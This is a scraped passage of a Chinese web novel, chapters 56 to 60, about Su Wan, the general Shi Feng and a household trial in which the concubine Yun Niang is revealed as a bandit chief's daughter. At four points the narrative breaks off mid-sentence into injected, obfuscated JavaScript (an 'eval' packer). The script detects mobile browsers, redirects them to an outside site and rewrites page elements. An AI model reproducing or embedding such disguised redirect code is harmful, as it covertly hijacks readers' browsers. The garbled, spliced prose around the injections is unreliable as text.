招惹谁不好,偏偏找上“冷面阎罗”的门。他就是长八个脑袋,也不够被这杆夺命枪扎的。横竖都是死,陆展元闭上眼睛,等待阎罗审判他的命运。 苏绾看得胆战心惊,她本意是伪装自己被时枫绑架,并利用美色唆使陆展元擒拿他,顺便给他一个下马威,谁叫他一直高高在上拿权势压制她。 她预料到陆展元绝没本事压倒时枫,顶多借陆展元的口,过两句嘴瘾,煞煞他的威风,不过那也足够了。谁知他竟毫无预警发起疯来,红着眼睛就要杀人灭口。 岂不知斩杀巡查追捕的朝廷命官,当是死罪? 真是个不折不扣疯痞。 苏绾一边腹诽,一边快速思考对策。想来想去,终是一筹莫展。她以为男人犯了狂妄自大的疯病,殊不知对方实际掉进万年醋潭。 在时枫的眼里,容不得他人半点觊觎之心。敢来抢他的宝贝,他必杀得对方肠穿肚烂,七孔流血而亡。 金枪寒星点点,金光烁烁,泼水不能入,似潜龙出水,如猛虎出洞,虚实奇正,变化无穷。 眼看即将刺入对方咽喉,忽听一声大喊:“刀下留人。” 然而时枫不为所动,天王老子来了,也拦不住他的杀心。 金枪直棱棱扎向目标,电光火石之际,从暗处遽然飞出一根蛇矛,嗖得一下,矛尖撞击枪头,发出清脆的兵器撞击声,瞬间火花四溅。 金枪被蛇矛打落。 愤怒的烈火烧灼男人的眼眸,暗黑披风一甩,就去寻那拦挡他的罪魁祸首,“谁人挡我?!” “你抽的哪门子邪风。” 不远处,大理寺卿邵云礼骑着马,手攥一卷调令,气急败坏而至,身后跟随五六侍卫骑兵。 路过时枫的身边,咬牙切齿恨道:“这笔账我一会儿再同你算。你先让开,大理寺奉命提人。” 见是熟人,时枫撇撇嘴,扶着金枪,策马退后两步。 邵云礼展开手中纸令示人,“今苏郎中之女苏绾,于府内遭遇黑风寨山匪掳掠,幸得京卫指挥使搭救,本官须立刻带走人证苏绾,协助调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13871097|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案件,任何人不得擅自阻拦,违者斩。” 底下除了时枫外,众人面面相觑。尤其是陆展元,他明明拿了刘府尹的搜查令,特来京营抓捕嫌犯时枫,怎得对方摇身一变,成为救苦救难的救星? 他以金刀撑住地面,强行抖擞精神,黑脸问道:“慢着,敢问邵大人奉何令提见苏绾?” 邵云礼睥了陆展元一眼,慢条斯理将纸令卷起,塞入青衣袍袖,“我大理寺提人,恐怕无需同兵马司报备吧。” 尽管态度傲慢无礼,但他说得没错,兵马司行缉捕盗贼之责,不得越权越界过问上级审察机构。案情一旦涉及在京官员,即纳入“三法司”职权范畴,就算是顺天府,也无权插手干涉。 “这、这……”陆展元无计可施,急得话也说不出来。 邵云礼嗤笑道:“这什么这?陆大人还愣在这里做甚,还不赶快回去跟主子复命?方才若非本官出手相救,你早成了刀下魂。你不谢我,还在这里啰嗦没完,忒丢兵部的脸面。” 实际上,正是温如初派遣陆展元特来京营抓捕时枫,刘府尹那边只是打了招呼,真要追究责任,其实都是越界越权非法缉拿。 早在几年前,温如初尚做从五品户部员外郎时,就曾通过收买、拉拢、卖人情等手段,许以各种好处予五城兵马司都指挥陆展元。二人互相利用,得以筑起铜墙铁壁般的关系长城。 陆展元性格憨直,不起反心,颇为好用。唯有一项弱点,其人好色,虽不致酿大错,但美色当前,容易头脑昏聩分不清敌我。若不为此,也不至于被苏绾的一席眼泪迷了心窍,竟胡乱起了为她做主,抵抗强权之心。 可他再磨蹭下去也没意义,对方根本不给他讨价还价的余地。陆展元有苦说不出,恨得金刀顿地,骂道:“哎,大意失荆州,陆某人羞愤死也。” 这个铁憨憨,临走前竟朝苏绾说道:“还请苏姑娘放心,我此去自会同温侍郎说清楚缘由,还你清白人生,绝不叫你被那乱臣贼子白白掳掠一遭。” 苏绾“郑重”点点头,“奴家信任将军,将军一路保重。” 殷切细语差点让陆展元飙泪,他双手抱拳,悲壮道:“苏姑娘珍重,且等陆某人领兵讨伐他,救你出生天。” 言罢,陆展元挥刀告别,驾马率兵离去。他赶着回去为苏绾搬救兵,顺便跟他爹告上一状,势必拿下时枫不可。 望着五城兵马司都指挥的身影,渐渐隐没云端,苏绾长出一口气,眸子翻了翻,扭头翻身上马,策马扬鞭先行一步扬长而去。 看得邵云礼一愣,“她竟然会骑马。” 时枫冷笑一声,“她会得可多了,杀人越货,下毒色莠,无恶不作,招招置人于死地。” 邵云礼行至时枫跟前,二马并驾齐驱,他趁机揶揄道:“你还好意思说人家,方才你在搞什么鬼,还想杀掉陆展元?你是不是忘记他爹是谁,还是忘记自己是谁?你这一单杀爽了,换来的可是满门抄斩的罪过,你可还担待得起?” “我不过斩杀一条看门狗,有什么担待不起的?”时枫瞟了一眼邵云礼,“再说,不是有你在么,刚才是谁耍足威风,‘大理寺断案,兵马司无权干涉’。” 他有模有样的学舌,令邵云礼感到又气又好笑,“你小子憋着坏给我下绊子,你是知道我昨晚接到你的密函,一大早就会赶来给你擦屁股,故意使这么一招,来折腾我是吧!” 说着,回手给了时枫一杵子,位置没掌握好,恰巧搥到他受伤的左臂,霎时浸染一片血色。 惊得邵云礼失声道:“哟,怎么回事?” 时枫脸色骤变,收起血染的手臂,轻描淡写道:“若不为遮掩它,我也不会赶着上山剿匪,这才着了萧染的道。” 他的每一步棋路,都是经过精心策划,绝非头脑一热而为之。 细腻的心思令邵云礼侧目,不知不觉中,那个荒漠里摸爬滚打的毛小子,已然成长为运筹帷幄的少将军。 他在心里轻轻地夸赞:时樾啊时樾,你弟弟马上就要超越你,你在九泉之下,也该感到欣慰吧。 他正感慨着,谁知下一刻时枫挥鞭策马,两脚一夹马肋,蹭的窜出几丈远。 邵云礼眼看着,时枫急急追上苏绾,忽然肩膀一塌,垂落左臂,装出一副受伤不殆的模样,死皮赖脸地往人家身子上靠。 大理寺卿叹口气,恶人自有恶人磨。 57. 回城 正午时分,积云藏嶮路。 京城西门张灯结彩,街市人头攒动,比肩接踵。百姓踮着脚尖,伸长脖子,争相观望大将军风采。 ——“哟,今儿个摆的架势是为何?” ——“您还不知道呐,绥靖王世子爷,就是现任京卫指挥使,单枪匹马挑了黑风寨,救了所有被关押的百姓。” ——“哦哟,如此勇猛,真真可谓我朝名将,我等与有荣焉。” 我朝名将大将军,身穿玄色铠甲,暗黑披风,胯下一匹银白汗血宝马,毛皮油亮映着白光,行走在朱雀大街主路,好不威风自在。 比他调任京卫指挥使进京那日,更加风光得意! 英雄救美,实至名归。路途虽有波折坎坷,好在殊途同归。 最关键的,是他哄了一路,赌咒发誓,赔礼道歉,各种手段用尽,总算把她哄好,不再跟他使小性。 毕竟,是他有错在先,谁让他“偏不知好歹”,“成心欺负”她,害她“白白担心”。 重点是,她很担心他。 凤眸悄悄斜了一眼身后的倩影,男人越想越得意,忍不住趾高气扬,下巴抬高,从鼻孔里低觑路人。 前方傲娇大将军开路,身后跟着苏绾和邵云礼,一左一右,晴雷垫后。 苏绾内心忐忑不安,虽说是打着剿匪英雄的名义,胜利班师回朝,然而此计绝瞒不住温如初的眼睛——他只要稍微动动脑筋,就能看穿其中的蹊跷。 打跑都指挥陆展元,并没有给她带来多大好处,相反,还为自己多树立一方敌手。她并不指望那个憨熊,能帮助她消除温如初对她的猜忌,反倒会对她的背叛,又增添了一分肯定。 此去回到温如初的身边,该让她如何自处呢? 少不得要再装一番糊涂。 好在今生的温如初,还未曾见识过,前世诡计多端的那个“疯后”。不然,他势必会为自己精心培育的“恶之花”所震惊,并最终自食恶果。 说起前世的温念,那可真是恶魔降世。 光是回忆起他的声音语调,已然让苏绾不寒而栗,浑身如堕冰窟。 心内暗自庆幸,还好这一世,温念没有重生。 “苏姑娘莫担心,他既然肯让你回去,必是经过深思熟虑的结果,不会出半点谬误。他这人虽然看着鲁莽冲动,不怎么靠谱,实则心思细腻,胸中罗藏乾坤。” 注意到苏绾的表情略显忧虑,邵云礼拉了拉缰绳,刻意放慢马走的速度,耐心开解她。 “有一次,我同时樾接到军令,率领百十兵士胡杨林里埋伏匈奴兵。那时时枫才十一二岁,吵着闹着非要跟着去,我们当然不理睬他。谁知转过头,这小子就假扮成巡逻兵,偷偷跟在队伍末端。” “待得匈奴兵出现时,这小子从天而降,像个猴子似的,蹭蹭在树端爬上爬下,一把砍刀杀得匈奴尽奔逃,血溅五里枯杨。勇猛杀敌的架势,把我们全部看傻眼。” “后来我们得知,原来他早早认真研究堪舆地图,天时地利人和琢磨通透,凭借自己体形偏小的特质,容易在狭窄的树枝之间窜爬,从而占据有利地形优势。” “他认准的事情,十头牛都拉不回来。而且事后证明,他的决策,往往才是正确且唯一的解决方案。” 邵云礼眨眨眼,“跟着他,没错的。” 大理寺卿亲自为他背书,虽未能一语中的直达心灵深处,仍令苏绾纠结的心,稍稍缓释。她已孤注一掷,押注全部身家,倘若结果满盘皆输,她也再无机会重来一次了。 队伍行至中城附近,闹市区游人如织,吆喝声,叫卖声,此起彼伏。 忽然路边杏黄裙角蹁跹,摇手不断呐喊,可惜声音淹没马咽车阗之间。 不知谁在背后推搡,小小人儿扑倒在地,瞬间被乌压压的人潮吞没。 男人敏锐的豹耳捕捉到声声细语召唤,鹰眼四处瞭望,蓦然发现趴伏人群角落里的沈枝意。 精心梳理的垂挂髻早已散乱,杏黄衣裙被攒聚的皱皱巴巴,绢丝鞋面踩满脚印,仔细一看,上面还挂着牛粪。 时枫随即翻身下马,趸至沈枝意跟前,俯下身子捞她起身,“你怎么来了?” 沈枝意神情恍惚,抬首乍见到时枫,立时钻入怀抱,哇得一声哭出来。 “枫哥哥……不好了……爹爹被兵部尚书请、请去喝茶了。” 兵部尚书? 时枫颇有些诧异,他扶起沈枝意,捏着她的双肩,大手揩去眼泪,“不急,你慢慢跟我讲,究竟发生什么事?” 沈枝意抽抽搭搭,“一个时辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13883263|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,家里来了一队兵,说是兵部尚书陆大人邀请爹爹府上做客喝茶。爹爹不肯去,结果那帮人强行绑了爹爹,出门跑了。” “枫哥哥,卿卿好怕。” 陆展元的报复竟然来得如此之快! 必是儿子向爹告状,引陆能登门问罪。时枫又不在家,干脆绑走客居他府上的沈恪,以此来威胁他,逼他负荆请罪。 时枫伸手将沈枝意拉上马,圈在怀里。小小人儿受了惊吓,单薄的小身体颤抖不停。大手抚摸她的头顶,轻轻安慰她:“卿卿莫怕,我这就去救沈伯伯。” 这时,苏绾他们已经赶上队伍前端,见到窝在男人怀里的沈枝意,令苏绾感到颇为惊诧。 距离上次画舫隔间一别,已过去十余日。听说沈枝意困在画舫,船爆炸时生死未卜,她还未来得及问候沈枝意的伤情。单看沈枝意的模样,失去往昔活泼可爱的光采,整个人看起来无助、破碎与绝望。 “绾姐姐,你来了。”沈枝意细声道。 少女抬首仰望时枫,随即又低下头,做错事般,扁嘴嘟囔道:“我等了很久,才等到枫哥哥。” 不等苏绾回复,时枫开口道:“我有些事情要办,由邵大人先行招待你。” 停了一息,似乎有些为难,耳根微微泛红,“他已得到你回城的消息,暂时应该不会再整什么幺蛾子,你且不必担心。” 又低下头,“这一遭不算我食言,实在是有要紧事情要办。” 踏月踢着马蹄,小步蹉跎前行。 沉寂半晌,相对无言,怀里沈枝意手指勾了勾男人的披风。 男人醒悟过来,调转马头,踽踽离去,扔下一句:“有事等我回来再说。” 顷刻间,玄衣背影淡出视野。后面晴雷策马跟随。 全程苏绾未曾说过一个字。 她知道,说什么都没用。看沈枝意的架势,估计是沈恪出了意外,否则绝不会教世家小姐独自出街。 她的那些鸡毛蒜皮小事,和沈枝意比起来,都算不得什么。 毕竟,人家才是正头未婚妻。 她不过是半路窜生的野花野草,不值一提。 “咳。”邵云礼假装咳嗽一声,尴尬道:“要、要不,先去大理寺坐坐?” (未完待续) 58. 审案 墨云翻涌,顷刻大雨如注。 老丁佝偻身板,一路媚笑着引领大理寺卿进入厅堂议事,将苏绾冷落一旁——也不怪他没有认出苏绾来,苏绾一身男子装束,情急之下的敛声质问,也带着些许少年英朗气质。 她在人群中踮脚张望,逡巡许久方才发现手足无措的无霜,躲在一株芭蕉树下,任凭雨打绿叶滴落。 苏绾悄悄凑近无霜,伸手扯她的衣襟,唬得无霜直跳脚,头顶芭蕉叶一滩雨水,顺势浇头洒落,将无霜灌个透心凉。 无霜正欲尖叫,被苏绾捂住嘴巴,打嘘声,“是我。” 无霜回头一看,自家小姐归家,一时间委屈涌上心头,小嘴一扁,嘤嘤哭起来,小脸滂沱,分不清雨水还是泪水。 “小姐,你可回来了,家里出了大事。” 眼前并非谈话的最佳时间和地点,苏绾牵着无霜的手,趁人不注意,偷偷溜回紫竹苑。 一进门,正撞见扫院婢女春蝉躲在墙根下,手里攥着一只云雀,正心急火燎地向鸟腿缠绕什么。 眼见紫竹苑主人突然归家,春蝉吓得脸色青白,两手下意识地背向身后,险些捏死手里的雀儿。 苏绾立即阻止她,“时将军已告知我,说你是他派来监视我的卧底,你大可不必再躲躲藏藏。” 一语既出,春蝉倒没怎样,无霜像遭雷劈了般浑身颤抖,惊道:“天呐,春蝉竟是卧底?!这究竟是怎么回事?” “先不提这遭话头,我有话要问你俩。”苏绾一手拉着春蝉,一手扯着无霜,将她二人拉扯进闺房,随手关起门来询问事情始末。 原来芸娘近日为救苏绾脱离温府之困,夜夜于枕边细语,力劝苏君识修书给温侍郎,召回二小姐。 苏君识却以哼哈之声,敷衍了事,不愿卷入苏夫人与温侍郎之间的权谋之争。他深知,无论偏向哪一方,将来都可能使自己陷入不利之境。 为官之道,集大成者,在于“无为”与“中庸”。苏君识将此二义融入其人生哲学之中,且行之以恒,力求不偏不倚,以保自身之安稳。 前有苏夫人欲以殷潜之力,设障于温如初赴杭州督办茶税之行,使其徒劳无功,负圣上之托,甚或招致罪责。 岂料温如初韬光养晦十日,忽出一计奇策。恰逢沈恪上疏,言及闽浙沿海海寇之患。温如初把握时机,自荐督运海漕,竟得圣旨,封为钦差大臣。 征茶与督漕,本为迥异之务。于浙江布政使殷潜而言,前者乃呈其功绩,后者则察其错失,其间利害,不言自明。 温如初此一妙计,由被动受制,转为主动出击,局势为之大变。苏君识背后冷汗涔涔,暗呼侥幸。若彼时附和苏夫人,待温如初南下杭州抗倭归来,苏君识恐将官途尽毁,身陷囹圄。 他抬起衣袖,拭去额间冷汗,急令芸娘速移家财,自己则上书请病,求圣上赐假休沐。 芸娘见苏君识无动于衷,只得另谋他策。然她不过为大族所豢之妾,一介玩物,根本求告无门。未及芸娘思得良策,苏绾被歹徒掳走的消息突如其来,一道封禁令从天而降,断绝苏家与外界之通途。 苏君识恍然大悟:这年头,光是恪守中庸已是不足,识时务者为俊杰,他须立刻马上跳出来,明确宣示自己的立场。他遂修“求和书”一封,呈于温侍郎案前,涕泪纵横,痛陈殷家兄妹之迫害,誓此生与殷家为敌,不共戴天。 然温如初似乎并不买他的账,非但严词拒之,更命顺天府刘府尹增派人手,日夜严守苏府,不许苏家人出入。 苏君识见前路断绝,不禁长吁短叹,怨天尤人,悔恨自己当初择队不慎。然其四十载糊涂人生,所犯之错,何止万千,又岂在乎这一桩? 反复思量之下,他决意破釜沉舟,挥毫泼墨,书就一纸“和离书”,欲与苏夫人从此分道扬镳。若将来殷潜官败,殷家式微,他亦可免受牵连。 然和离书虽写得容易,递出去却甚难。苏君识一生唯唯诺诺,看人脸色行事,“怂”字仿佛刻于面庞。他不敢直面苏夫人提及此事,便转而怂恿芸娘代为传话。 芸娘手中捧着那份和离书,重若千钧。她虽非怯懦之辈,却也深知苏夫人之威,犹如猛虎难犯。若苏夫人因此迁怒于她,苏君识断不会挺身而出,为她遮风挡雨。昔日九香的遭遇,便是前车之鉴。 况且,苏绾如今下落不明,生死未卜,温侍郎正四处寻觅未婚妻。苏君识作为人父,非但未显焦急之色,反而只顾自身安危,其自私之丑态,实在令人心寒。 天底下的男人,没有一个靠谱的。 夜半辗转难眠之际,芸娘做了一个大胆的决定——她要自己救苏绾。 然而人海茫茫,她渺小如蜉蝣,人微言轻,又凭什么去捞别人呢? 有钱能使鬼推磨。 她盗取苏君识的私印,清早翻墙越壁,躲过府衙守卫的眼线,悄然离开苏府。一路潜行至西市,将苏君识名下之房契地契,悉数以贱价抛售,便宜了整条街的地产商与中间商。又将银楼里存储的两大箱金银珠宝提出,高价收买镖局运往京郊。 然而,满载金银的马车未及出城,便听到京卫指挥使剿灭山匪的捷报。本是振奋人心之喜讯,芸娘却如遭霹雳,急急召回马车。 她尚未定神,已有小厮偷偷向苏夫人告密。苏夫人怒不可遏,随即率众气势汹汹直扑偏院,当场拿住芸娘及两箱珠宝,人赃并获。 老虎与狸猫相斗,胜负始难预料。 苏夫人拿出当家主母之威严,今日誓要严惩芸娘,以儆效尤。谁让这小贱人屡生事端,一再挑衅苏家权威。 芸娘使尽浑身解数,与众小厮搏斗。她虽为女流,然拼命之时,亦颇有几分骁勇,打得众小厮哭爹喊娘,跪地求饶。 苏夫人怒目圆睁,厉声呵斥芸娘,挥手示意小厮们上前将她制服。 芸娘心中一紧,却也不甘束手就擒,她身形一晃,使了招虚晃,骗过小厮们的围攻。随即,她身子向前一挺,猛地扑向苏夫人。 苏夫人始料不及,被芸娘一把揪住衣襟。紧接着,芸娘一掌甩向苏夫人的脸面。这一掌力道迅猛,打得苏夫人站立不稳,一个踉跄,跌倒在地。 苏夫人痛呼出声,脸色瞬间变得青白,继而开始红肿,显然受力不轻。 小厮们这才反应过来,急忙上前扶起苏夫人,又将芸娘团团围住。芸娘寡不敌众,终束手就擒。 这一仗,老虎勉强得胜。 苏夫人擒获芸娘之后,一心欲将她置之死地,然现有证据不够充分——那两大箱珠宝完好,并未得以偷运出府。 至于那些变卖的房契地契所得,已被芸娘换成银票,藏匿于首饰盒中,苏家包括苏夫人暂且不知情。 趁着指挥使剿匪的消息盛行,苏夫人故意诬陷芸娘与山匪暗通款曲,遂命家丁将她五花大绑,欲送至官衙治罪。一时间,府中上下议论纷纷,事态愈演愈烈。 无霜的小脸,因激动而微微泛红。她捂着胸口,娓娓叙述当时的惊心动魄。她并未窥得事情全貌,然则苏绾凭借对苏家人的了解,整个事件过程猜得八九不离十。 唯有一事不明。 芸娘为何没有将珠宝运出城,而是紧急召回? 除非,那京郊某处的收货人,出了意外。 又恰好赶上京卫指挥使剿匪成功。 各种线索汇集一处,苏绾得出结论:芸娘打算花重金向山匪赎人。 可芸娘又是如何得知,是山匪掳走苏绾,而非水贼、流寇一类? 又或者芸娘豪掷千金买通山匪,为救回被歹徒绑架的苏绾。 可谁会买通山匪追贼啊?山匪自己不就是贼?一般人追凶,都是去鬼市招募赏金猎人。 逻辑断了一环。 事情迫在眉睫,苏绾无暇再做无谓的推断,她须得抓紧时间救下芸娘。 春蝉握着两只小手,有些局促不安,见无霜交代完毕,她想着,下一个该轮到她了。 可未等她先开口,苏绾却向她道:“方才你是打算报信给时将军,让他来帮忙救芸娘,对不对?” 春蝉愣了一下,点点头。 苏绾卷了卷眼眸,“他派你来监视我,而你却越俎代庖,恳求他出手救芸娘,为什么?” 犹如被春雷击中,春蝉大大的眼睛倏而噙满泪水,她哽咽道:“我生在猎户之家,从小习武,并不懂得如何伺候主子。自来苏府打工仨月有余,每每频出差错,经常被府里的嬷嬷训斥。唯有二奶奶,不嫌我身份卑微,时时欢语解忧,还会亲自下厨蒸榆钱馍馍给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967697|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。如今二奶奶遇难,我愿尽自己最大力量,救二奶奶出水火。” 原来如此,也是个知恩图报的人啊。 苏绾扯下丝巾,替她揩去泪痕,“好孩子,时将军府上出了点事情,暂时无法分身。眼前这局困境,还得靠我们自己解决。” 可她说归说,当前也没有什么好办法,唯有寄希望于大理寺卿的断案。当下吩咐无霜为她更换衣裙,一路摇摇行至苏府前堂。 珠雨麾飏,飞流吹响。 大理寺卿端坐厅堂中位太师椅,拿起案边白玉盖碗,微微揭开盖儿,用盖子在碗边刮上两遭,轻轻呷入一口。 阖合眼眸,细细品鉴一番。啧,不愧是狮峰龙井。 推手将盖碗送回案几。眼角扫过下方位的苏氏夫妇,以及跪在地上,手脚捆绑的姨娘。 “本官今日登门造访贵府,不全是为审案子。想必你们早已收到消息,京卫指挥使大显神威,一举剿灭黑风寨,释放寨子里关押的百姓。这里面恰巧包括府上的二小姐,苏绾。” “前头温侍郎报案,言及苏绾被歹匪掳掠,如今这桩案子也可了结。我已知会顺天府的刘府尹,叫他拆去贵府大门的封条,看来你们也自个儿拆完了。本官的差事已了,实在不该跨过县衙,越级审理苏郎中的家事……咳。” 他抬起衣袖,清咳了一声,“既然你们提到,嫌疑人乃山匪的亲信,换而言之,此案与本官审理的山匪绑架案,有着千丝万缕的联系。本官只好勉为其难,代为审理之。” 身子向前探了探,“台下所跪者,可是苏家姨娘,陶芸娘?” 大理寺卿长篇大论,事无巨细,不厌其烦,早就堵塞芸娘的视听,神思不知漂向何方。面对对方的质问,芸娘呆愣了半日,迷迷糊糊摇摇头,猛地一下子惊醒,又拼命点点头。 寺卿大人微微颔首,又问道:“你可承认偷盗挪运钱财之罪?” 芸娘干脆答道:“启禀大老爷,我无罪。那两箱珠宝来自我本人的嫁妆,及老爷的赏赐。何来偷盗一说?况且,箱子好好地存放在我屋里,怎么就挪运出府了呢?实在是冤枉了我。” 她掀眸瞟了一眼苏夫人,咬牙切齿道:“打从我嫁进苏家那日起,夫人就看我不顺眼,处处刁难我,先前还无缘无故将我关进柴房,骗人说我生了麻风病,她巴不得咒我早点死。” 旁边苏夫人坐不住凳子,手里帕子啪得一甩,站起身来,指着芸娘眉头骂道:“谁咒你死了?天地良心。我可怜你个外室,孤儿寡母住在通县,怪可怜见的,亲自派人将你娶进苏家。整个京城里,可还有比我更大度的主母?没想到,我这一片赤诚之心,竟迎进来一个吃里扒外的冤家。” 芸娘怒目而视,恨道:“你娶我进门,安的可是黑心!就为了变着法子弄死我们娘俩。可惜,姑奶奶命大,活蹦乱跳得很。你别以为自己干的那些龌龊事情无人知晓。浸猪笼,扎银针,我什么不知道?举头三尺有神明,恶人有恶报,不是不报,时候未到。” 旁人尚未注意,苏夫人被她“浸猪笼,扎银针”六个字震得魂飞魄散,唯恐被大理寺卿听了去,遂提高嗓门,掐腰訾骂:“我掐死你个小娼妇,还敢威胁老身?你算个什么东西,跟我苏殷氏叫嚣?我殷家吐口唾沫,一准淹死你这田埂上的土耗子。” 俩女人你一句我一句吵架,家长里短,鸡毛蒜皮,谁都不肯让谁,听得苏君识的老脸直抽搐,翻来覆去的难受,而寺卿大人也是一头热汗。 他抬起青色衣袖,轻拭额间细汗,又端起案边盖碗,咕噜咕噜牛饮一气。 断案六七载,从未碰到过比家务事更棘手的案子。蹲守白云观的女鬼,也好过听女人掰扯不清。 “行了行了,本官知道了。”寺卿大人不耐烦地打断“口水战”,“你没有偷盗挪运钱财。至于山匪亲信一事,也是受人冤枉的,对吗?” 芸娘突然抬起头,额间刘海青丝成缕,一双杏眼望着寺卿,许久,复低下头,艰涩道:“她说的没错,我的确是山匪的亲信。黑风寨的寨主,是我的亲生父亲,已被京卫指挥使打死了。” 言毕,两颊泪雨滂沱,扑倒嚎啕大哭。 堂外苏绾一路急急忙忙赶来,绢鞋还未踏进门槛,陡然闻听这么一句,顿时心凉半截,如坠冰窟。 59. 身世 “黑风寨的寨主,是我的亲生父亲,已被京卫指挥使打死了。” 这怎么可能? 苏绾急捉裙两步奔向前,跪倒在芸娘面前,头放得极低,沉声道:“莫要乱说话,当心被人拿住把柄。” 芸娘哭得不能自已,抬眼见是苏绾,恍惚如隔世。 她颤抖着嘴唇,哽咽说道:“阿绾,我对不起你,我撒谎了。” 真相往往藏在意想不到的地方。 陶芸娘,芳龄十八岁,佃户出身,良家子。大约两年前的某个春日,她在田埂采摘黄色的野花,花香飘四野,吸引了因公出差,闲暇郊外踏青的苏君识。 她朱唇轻抿,邀请他去家里坐坐。 大约是看上她的淳朴自然,毫不做作,亦或是喜欢她的不屈不挠,向阳而生,两人迅速打得火热,如胶似漆。 苏君识在通县宝坻买了一处宅院,庭院深深,小院亦有花,花间一壶春酒,酒醒归何处,杨柳岸晓风残月。 度过了两年神仙般的日子。 还生了宝哥儿。 直到一顶来自京城的红花轿,停泊在庭院外。 从此开启地狱之旅。 芸娘不止一次遐想过,假如她那日拒绝了他,也许就不会落到这般破败不堪的境地。 可惜,以上只是她展示给别人看的过往。 她还有不为人知的一面。 陶芸娘,打一生下来就是山匪的女儿。她的父亲,那位黑风寨寨主大金牙,年轻时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968135|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知中了哪门子的运气,竟然和被他倒卖的女奴生了一个孩子。 大金牙做梦都没想到,自己也有当爹的一天。他做了一辈子的缺德事,到头来竟然收获一位可爱的女儿,真是做梦都会笑醒。 他倒卖别人家的女儿,自己的女儿当成宝贝般。含在嘴里怕化了,捧在手里怕摔了,恨不得天天别在裤腰带上。 女娃养到十岁,生得娇俏水嫩,再不能跟他在土匪窝里鬼混,否则下场就是配给土匪。 大金牙冥思苦想,四处奔走,终于寻到一户人家,良民出身,身下小女与他女儿同岁,可惜夭折了。趁父母还未来得及上报死亡销户,大金牙将女儿双手奉上,表示愿赠五百两,作为抚养费。 (未完待续) 60. 和离 “什么?!” 在场人齐齐惊愕。 苏夫人丹凤眼瞪溜圆,一手扶着桌案,勉强支撑住身体,歇斯底里道:“你敢?!反了天了!!今日你若趟出家门半步,我便叫哥哥立刻上报皇帝,摘了你的官帽,断了你的官途!” 苏君识揣着两手,耷拉着脑袋,耸了耸肩膀,“倒也不必麻烦殷大人亲自上本,圣上已批准我归乡休养病假,三五年内,朝中怕是看不到我的身影,也还大家彼此一个清净。” 苏夫人压根不知道,苏君识何时奏请的告病休假。她感觉自己像个不问世事的傻瓜,已经被全世界抛弃了。 她指着苏君识鼻子骂道:“我是你三书六礼、明媒正娶的妻。你狠心抛妻弃子,撒手离去,不怕遭老天爷报应吗?即便上天不罚你,你也逃不过人间的法理制裁。” 她转头命令大理寺卿道:“邵大人,你快将这对奸夫霪妇拿下,就地正法,绝不能轻易放过他们。” 座上的大理寺卿根本不理睬这疯妇,乜斜着眼角,冷哼一声。 苏君识想了想,从怀里掏出一份信笺,随手丢掷地上。众人探头打眼一看,封面写着“和离书”仨字。 “你犯了七出之妒罪,阻挠我苏家香火延续。我本可一纸休书休了你,但我念在你做我发妻二十年,为我生得一双儿女的份上,今只与你平等和离,从此一别两宽。你莫要再纠缠不休,对你我都没好处,尤其是丢你殷家的脸面。” 冷言冷语绝非苏君识往常作风,苏夫人简直不敢相信自己的耳朵。究竟是她疯了,还是世道乱了。那个窝囊惧内的苏君识,居然跟她谈和离! 她两眼瞪着和离书,嘴唇泛出白沫,颤颤巍巍。 “你、你不要太嚣张……” 话未说完,两眼一闭,倒头晕厥过去。 家丁婆子乱作一团。 芸娘捉裙奔赴苏君识身边,搀着他的臂弯,媚眼如丝,“我就知道,郎君舍不得妾身。”她踮起脚尖,杏眼仰望爱人,不解道:“君不嫌弃妾,是山匪的后人吗?” 苏君识刚刚人前显摆一遭,好不威风得意,满脸的褶皱绽开不少,咧嘴干笑两声,“如今我也只是一介平民而已,谁又能看不起谁呢?” 他低下头,有些垂丧,“只怕从此,我俩要受穷咯。” 净身出户,几乎是苏君识的宿命。对他来说,留住清白之身,告老还乡,而不必下大狱,已是最好的结局。 芸娘挺直腰肢,“不怕!咱们回乡下去,妾给君包羊肉饺子吃。” 苏君识宠溺地笑了笑。 